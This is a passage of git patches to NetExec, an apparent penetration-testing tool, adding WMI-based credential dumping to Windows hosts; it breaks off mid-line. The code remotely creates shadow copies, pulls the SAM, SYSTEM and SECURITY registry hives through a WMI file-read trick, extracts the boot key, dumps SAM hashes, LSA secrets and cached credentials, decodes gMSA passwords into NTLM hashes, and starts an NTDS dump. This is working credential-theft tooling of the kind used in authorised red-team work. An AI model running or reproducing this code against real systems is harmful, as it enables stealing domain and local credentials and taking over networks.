Delete the ShadowCopy + wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' + self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") + ret = cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") + else: + self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") + + if not (sam_hive_recovered and system_hive_recovered): + self.logger.fail("Could not get hives") + return + + local_operations = LocalOperations(f"{output_filename}.system") + boot_key = local_operations.getBootKey() + SAM = SAMHashes( + f"{output_filename}.sam", + boot_key, + isRemote=None, + perSecretCallback=lambda secret: self.logger.highlight(secret), + ) + SAM.dump() + SAM.export(output_filename) + + @requires_admin + def lsa(self): + output_filename = self.output_file_template.format(output_folder="lsa") + + # Get the Namespace + try: + cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.fail("Could not dump LSA") + self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") + return + + # Creating Shadow Volumes + try: + win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + self.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + shadow_id = result.ShadowID + self.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.logger.fail("Cannot create ShadowCopy") + self.logger.debug(e) + return + + # Finding it on disk + iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") + + # Get the SECURITY hive + security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" + security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") + if security_hive_recovered: + self.logger.debug("Got SECURITY hive") + + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.logger.debug("Got SYSTEM hive") + + # Delete the ShadowCopy + wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' + self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") + ret = cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") + else: + self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") + + if not (security_hive_recovered and system_hive_recovered): + self.logger.fail("Could not get hives") + return + + local_operations = LocalOperations(f"{output_filename}.system") + boot_key = local_operations.getBootKey() + LSA = LSASecrets( + f"{output_filename}.security", + boot_key, + None, + isRemote=None, + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + ) + LSA.dumpCachedHashes() + LSA.dumpSecrets() @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index ffb5132a10..1d154bf4d5 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -11,6 +11,8 @@ def proto_args(parser, parents): cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") + cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") diff --git a/pyproject.toml b/pyproject.toml index e1361ab910..c2a207ed00 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", - "impacket @ git+https://github.com/fortra/impacket", + "impacket @ git+https://github.com/Pennyw0rth/impacket#wmi_update", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From ab4a44cf4dd0643377658a52b8958db777cde627 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:00:58 +0200 Subject: [PATCH 234/397] update poetry lock --- poetry.lock | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/poetry.lock b/poetry.lock index bb5c167e0a..66d063331f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1095,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260810.134619.243d64a6" +version = "0.14.0.dev0+20260826.175120.d480b3e5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1117,9 +1117,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket" -reference = "HEAD" -resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc" +url = "https://github.com/Pennyw0rth/impacket" +reference = "wmi_update" +resolved_reference = "d480b3e52c2de68c8835131c76709cf44867119f" [[package]] name = "iniconfig" @@ -2953,4 +2953,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f" +content-hash = "c2b865eafd644e9fda7d043fe4b53ea5e71ca8e4dafa1f4c91c27ee74a1de155" From b6f20e40b99eba70d2ff27209737644c02bce73c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:04:11 +0200 Subject: [PATCH 235/397] ruff --- nxc/protocols/wmi.py | 40 +++++++++++++++++++--------------------- 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 5e85caa352..39ceb462d6 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -369,8 +369,8 @@ def hash_login(self, domain, username, ntlm_hash): def read_file(self, remote_path): self.logger.debug(f"Try reading file {remote_path}") - escaped_path = remote_path.replace("\\","\\\\") - + escaped_path = remote_path.replace("\\", "\\\\") + # Load the Namespace try: powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) @@ -380,13 +380,13 @@ def read_file(self, remote_path): return None # Read the file - try: + try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: - if e.error_code == 0x80041002: - logging.debug(f"Cannot find {fullpath} file") - return None + if e.error_code == 0x80041002: + self.logger.debug(f"Cannot find {remote_path} file") + return None obj = iWbemClassObject.getProperties() @@ -395,17 +395,15 @@ def read_file(self, remote_path): if prop_name == "FileData": file_data = prop_value["value"] break - + if len(file_data) < 4: return None - + # Unpack it file_length = struct.unpack(">I", bytes(file_data[:4]))[0] - file_content = bytes(file_data[4:4 + file_length]) - - return file_content + return bytes(file_data[4:4 + file_length]) - def get_file_single(self, remote_path, download_path): + def get_file_single(self, remote_path, download_path): if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" @@ -414,7 +412,7 @@ def get_file_single(self, remote_path, download_path): if file_data is None: return False else: - + with open(download_path, "wb+") as file: file.write(file_data) return True @@ -443,7 +441,7 @@ def sam(self): # Creating Shadow Volumes try: - win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") self.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") shadow_id = result.ShadowID @@ -459,18 +457,18 @@ def sam(self): props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - + # Get the SAM hive sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") if sam_hive_recovered: self.logger.debug("Got SAM hive") - + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.logger.debug("Got SYSTEM hive") - + # Delete the ShadowCopy wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") @@ -510,7 +508,7 @@ def lsa(self): # Creating Shadow Volumes try: - win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") self.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") shadow_id = result.ShadowID @@ -526,18 +524,18 @@ def lsa(self): props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - + # Get the SECURITY hive security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") if security_hive_recovered: self.logger.debug("Got SECURITY hive") - + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.logger.debug("Got SYSTEM hive") - + # Delete the ShadowCopy wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") From ee9f59e5138155911b9d93af4a173f44a9ab34be Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 10:45:24 +0200 Subject: [PATCH 236/397] refacto namespace loading --- nxc/protocols/wmi.py | 55 +++++++++++++++++++++++++------------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 39ceb462d6..0827194998 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -16,7 +16,7 @@ from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError +from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) @@ -50,6 +50,8 @@ def __init__(self, args, db, host): self.iWbemLevel1Login = None self.dcom_conn = None + self.namespaces = {} + connection.__init__(self, args, db, host) def proto_logger(self): @@ -175,8 +177,7 @@ def check_if_admin(self): else: try: self.iWbemLevel1Login = IWbemLevel1Login(iInterface) - _ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() + self.get_namespace("//./root/cimv2") except Exception as e: if "access_denied" not in str(e).lower(): self.logger.fail(str(e)) @@ -367,16 +368,13 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path): + def read_file(self, remote_path) -> "None | bytes": self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") # Load the Namespace - try: - powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: - self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}") + powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3") + if powershellv3_namespace is None: return None # Read the file @@ -431,13 +429,9 @@ def sam(self): output_filename = self.output_file_template.format(output_folder="sam") # Get the Namespace - try: - cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: + cimv2_namespace = self.get_namespace("//./root/cimv2") + if cimv2_namespace is None: self.logger.fail("Could not dump SAM") - self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") - return # Creating Shadow Volumes try: @@ -490,6 +484,7 @@ def sam(self): isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) + self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(output_filename) @@ -498,13 +493,9 @@ def lsa(self): output_filename = self.output_file_template.format(output_folder="lsa") # Get the Namespace - try: - cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: - self.logger.fail("Could not dump LSA") - self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") - return + cimv2_namespace = self.get_namespace("//./root/cimv2") + if cimv2_namespace is None: + self.logger.fail("Could not dump SAM") # Creating Shadow Volumes try: @@ -558,6 +549,7 @@ def lsa(self): isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) + self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.dumpSecrets() @@ -571,8 +563,7 @@ def wmi_query(self, wql=None, namespace=None, callback_func=None): namespace = self.args.wmi_namespace try: - iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) - self.iWbemLevel1Login.RemRelease() + iWbemServices = self.get_namespace(namespace) iEnumWbemClassObject = iWbemServices.ExecQuery(wql) except Exception as e: self.logger.debug(str(e)) @@ -680,3 +671,19 @@ def execute_psh(self, command=None, get_output=False): return output else: return output + + def get_namespace(self, namespace:str) -> IWbemServices: + """ + Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache + """ + if namespace in self.namespaces: + return self.namespaces[namespace] + self.logger.debug(f"Getting namespace {namespace}") + try: + iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}") + return None + self.namespaces[namespace] = iWbemServices + return self.namespaces[namespace] From 3c52ecb40e29b82f5a599a25ca58dff72a25f943 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 11:48:08 +0200 Subject: [PATCH 237/397] create wmi RemoteOperation class --- nxc/protocols/wmi.py | 117 +++++++-------------------------- nxc/protocols/wmi/remoteops.py | 80 ++++++++++++++++++++++ 2 files changed, 103 insertions(+), 94 deletions(-) create mode 100644 nxc/protocols/wmi/remoteops.py diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 0827194998..df98f076fc 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -7,6 +7,7 @@ from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter from nxc.protocols.wmi import wmiexec, wmiexec_event +from nxc.protocols.wmi.remoteops import RemoteOperations from impacket import ntlm from impacket.uuid import uuidtup_to_bin @@ -49,8 +50,8 @@ def __init__(self, args, db, host): } self.iWbemLevel1Login = None self.dcom_conn = None - self.namespaces = {} + self._remote_ops = None connection.__init__(self, args, db, host) @@ -428,59 +429,20 @@ def get_file(self): def sam(self): output_filename = self.output_file_template.format(output_folder="sam") - # Get the Namespace - cimv2_namespace = self.get_namespace("//./root/cimv2") - if cimv2_namespace is None: - self.logger.fail("Could not dump SAM") - - # Creating Shadow Volumes - try: - win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") - self.logger.debug("Trying to create SS remotely via WMI") - result = win32_shadow_copy.Create("C:\\", "ClientAccessible") - shadow_id = result.ShadowID - self.logger.debug(f"Shadow Copy created at ID {shadow_id}") - except Exception as e: - self.logger.fail("Cannot create ShadowCopy") - self.logger.debug(e) + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + self.logger.fail("Could not get Bootkey") return - # Finding it on disk - iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') - obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] - props = obj.getProperties() - shadow_copy = {k: v["value"] for k, v in props.items()} - self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - # Get the SAM hive - sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" - sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") - if sam_hive_recovered: - self.logger.debug("Got SAM hive") - - system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") - if system_hive_recovered: - self.logger.debug("Got SYSTEM hive") - - # Delete the ShadowCopy - wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' - self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") - ret = cimv2_namespace.DeleteInstance(wmiPath) - if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") - else: - self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") - - if not (sam_hive_recovered and system_hive_recovered): - self.logger.fail("Could not get hives") + sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM" + if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"): + self.logger.fail("Could not get SAM hive") return - local_operations = LocalOperations(f"{output_filename}.system") - boot_key = local_operations.getBootKey() SAM = SAMHashes( f"{output_filename}.sam", - boot_key, + bootkey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) @@ -492,59 +454,20 @@ def sam(self): def lsa(self): output_filename = self.output_file_template.format(output_folder="lsa") - # Get the Namespace - cimv2_namespace = self.get_namespace("//./root/cimv2") - if cimv2_namespace is None: - self.logger.fail("Could not dump SAM") - - # Creating Shadow Volumes - try: - win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") - self.logger.debug("Trying to create SS remotely via WMI") - result = win32_shadow_copy.Create("C:\\", "ClientAccessible") - shadow_id = result.ShadowID - self.logger.debug(f"Shadow Copy created at ID {shadow_id}") - except Exception as e: - self.logger.fail("Cannot create ShadowCopy") - self.logger.debug(e) + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + self.logger.fail("Could not get Bootkey") return - # Finding it on disk - iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') - obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] - props = obj.getProperties() - shadow_copy = {k: v["value"] for k, v in props.items()} - self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - - # Get the SECURITY hive - security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" - security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") - if security_hive_recovered: - self.logger.debug("Got SECURITY hive") - - system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") - if system_hive_recovered: - self.logger.debug("Got SYSTEM hive") - - # Delete the ShadowCopy - wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' - self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") - ret = cimv2_namespace.DeleteInstance(wmiPath) - if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") - else: - self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") - - if not (security_hive_recovered and system_hive_recovered): - self.logger.fail("Could not get hives") + # Get the LSA hive + lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY" + if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"): + self.logger.fail("Could not get LSA hive") return - local_operations = LocalOperations(f"{output_filename}.system") - boot_key = local_operations.getBootKey() LSA = LSASecrets( f"{output_filename}.security", - boot_key, + bootkey, None, isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), @@ -687,3 +610,9 @@ def get_namespace(self, namespace:str) -> IWbemServices: return None self.namespaces[namespace] = iWbemServices return self.namespaces[namespace] + + @property + def remote_ops(self): + if self._remote_ops is None: + self._remote_ops = RemoteOperations(self) + return self._remote_ops \ No newline at end of file diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py new file mode 100644 index 0000000000..d2ddb24156 --- /dev/null +++ b/nxc/protocols/wmi/remoteops.py @@ -0,0 +1,80 @@ +from impacket.examples.secretsdump import LocalOperations + +class RemoteOperations: + def __init__(self, context, shadow_id:str = None): + self.context = context + + self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") + + # Cached variables + self.bootkey = None + self._shadow_id = shadow_id + self._shadow_copy_path = None + + # Keep track if we created a Shadow Copy to delete it later + self.shadow_copy_created = False + + def __del__(self): + # If we created a Shadow Copy, delete it + if self.shadow_copy_created: + wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' + self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") + ret = self.cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") + else: + self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") + + def create_shadowcopy(self) -> str: + # Creating Shadow Volumes + shadow_id = None + try: + win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") + self.context.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + self.shadow_copy_created = True + shadow_id = result.ShadowID + self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.context.logger.debug(f"Cannot create ShadowCopy: {e}") + return shadow_id + + def get_shadowcopy_path(self, shadow_id: str = None) -> str: + if shadow_id is None: + shadow_id = self.shadow_id + device_object = None + try: + iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + device_object = shadow_copy['DeviceObject'] + self.context.logger.debug(f"Found ShadowCopy at {device_object}") + except Exception as e: + self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + return device_object + + @property + def shadow_id(self): + if self._shadow_id is None: + self._shadow_id = self.create_shadowcopy() + return self._shadow_id + + @property + def shadow_copy_path(self): + if self._shadow_copy_path is None: + self._shadow_copy_path = self.get_shadowcopy_path() + return self._shadow_copy_path + + def get_bootkey(self, output_filename): + if self.bootkey is not None: + return self.bootkey + + system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.context.logger.debug("Got SYSTEM hive") + + local_operations = LocalOperations(f"{output_filename}.system") + self.bootkey = local_operations.getBootKey() + return self.bootkey \ No newline at end of file From 65f4714953ea1509f3776f6e468cebd9cc391053 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 12:44:06 +0200 Subject: [PATCH 238/397] add ntds dump --- nxc/protocols/wmi.py | 133 ++++++++++++++++++++++++++++++-- nxc/protocols/wmi/proto_args.py | 13 ++++ nxc/protocols/wmi/remoteops.py | 10 ++- 3 files changed, 148 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index df98f076fc..31b223fef0 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,18 +1,23 @@ import os import struct +import binascii +from Cryptodome.Hash import MD4 from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin +from nxc.helpers.misc import validate_ntlm from nxc.logger import NXCAdapter +from nxc.helpers.logger import highlight +from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.wmi import wmiexec, wmiexec_event from nxc.protocols.wmi.remoteops import RemoteOperations from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache -from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes +from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck @@ -427,11 +432,19 @@ def get_file(self): @requires_admin def sam(self): + def add_sam_hash(sam_hash): + self.logger.highlight(sam_hash) + if "_history" in sam_hash: + return + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + add_sam_hash.sam_hashes += 1 + + add_sam_hash.sam_hashes = 0 + output_filename = self.output_file_template.format(output_folder="sam") bootkey = self.remote_ops.get_bootkey(output_filename) if bootkey is None: - self.logger.fail("Could not get Bootkey") return # Get the SAM hive @@ -444,19 +457,36 @@ def sam(self): f"{output_filename}.sam", bootkey, isRemote=None, - perSecretCallback=lambda secret: self.logger.highlight(secret), + history=self.args.history, + perSecretCallback=lambda secret: add_sam_hash(secret), ) self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(output_filename) + self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}") @requires_admin def lsa(self): + def add_lsa_secret(secret): + add_lsa_secret.secrets += 1 + self.logger.highlight(secret) + if "_SC_GMSA_{84A78B8C" in secret: + gmsa_id = secret.split("_")[4].split(":")[0] + data = bytes.fromhex(secret.split("_")[4].split(":")[1]) + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(data) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + + add_lsa_secret.secrets = 0 + output_filename = self.output_file_template.format(output_folder="lsa") bootkey = self.remote_ops.get_bootkey(output_filename) if bootkey is None: - self.logger.fail("Could not get Bootkey") return # Get the LSA hive @@ -470,11 +500,104 @@ def lsa(self): bootkey, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() + LSA.exportCached(output_filename) LSA.dumpSecrets() + LSA.exportSecrets(output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") + + @requires_admin + def ntds(self): + printed_kerb_keys_banner = False + + def add_hash(secret_type, secret): + nonlocal printed_kerb_keys_banner + if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + self.logger.display("Kerberos keys:") + printed_kerb_keys_banner = True + + # Count the type of secrets + if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + add_hash.kerb_secrets += 1 + else: + add_hash.nt_lm_secrets += 1 + + # Log the secret based on args + if self.args.enabled: + if "Enabled" in secret: + secret = " ".join(secret.split(" ")[:-1]) + self.logger.highlight(secret) + else: + secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + self.logger.highlight(secret) + + # Filter out computer accounts, history hashes and kerberos keys for adding to db + if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: + if secret.find("\\") != -1: + domain, clean_hash = secret.split("\\") + else: + domain = self.domain + clean_hash = secret + + try: + username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") + parsed_hash = f"{lmhash}:{nthash}" + if validate_ntlm(parsed_hash): + add_hash.added_to_db += 1 + return + raise + except Exception: + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") + else: + self.logger.debug("Dumped hash is a computer account, not adding to db") + + add_hash.nt_lm_secrets = 0 + add_hash.kerb_secrets = 0 + add_hash.added_to_db = 0 + + output_filename = self.output_file_template.format(output_folder="ntds") + + bootkey = 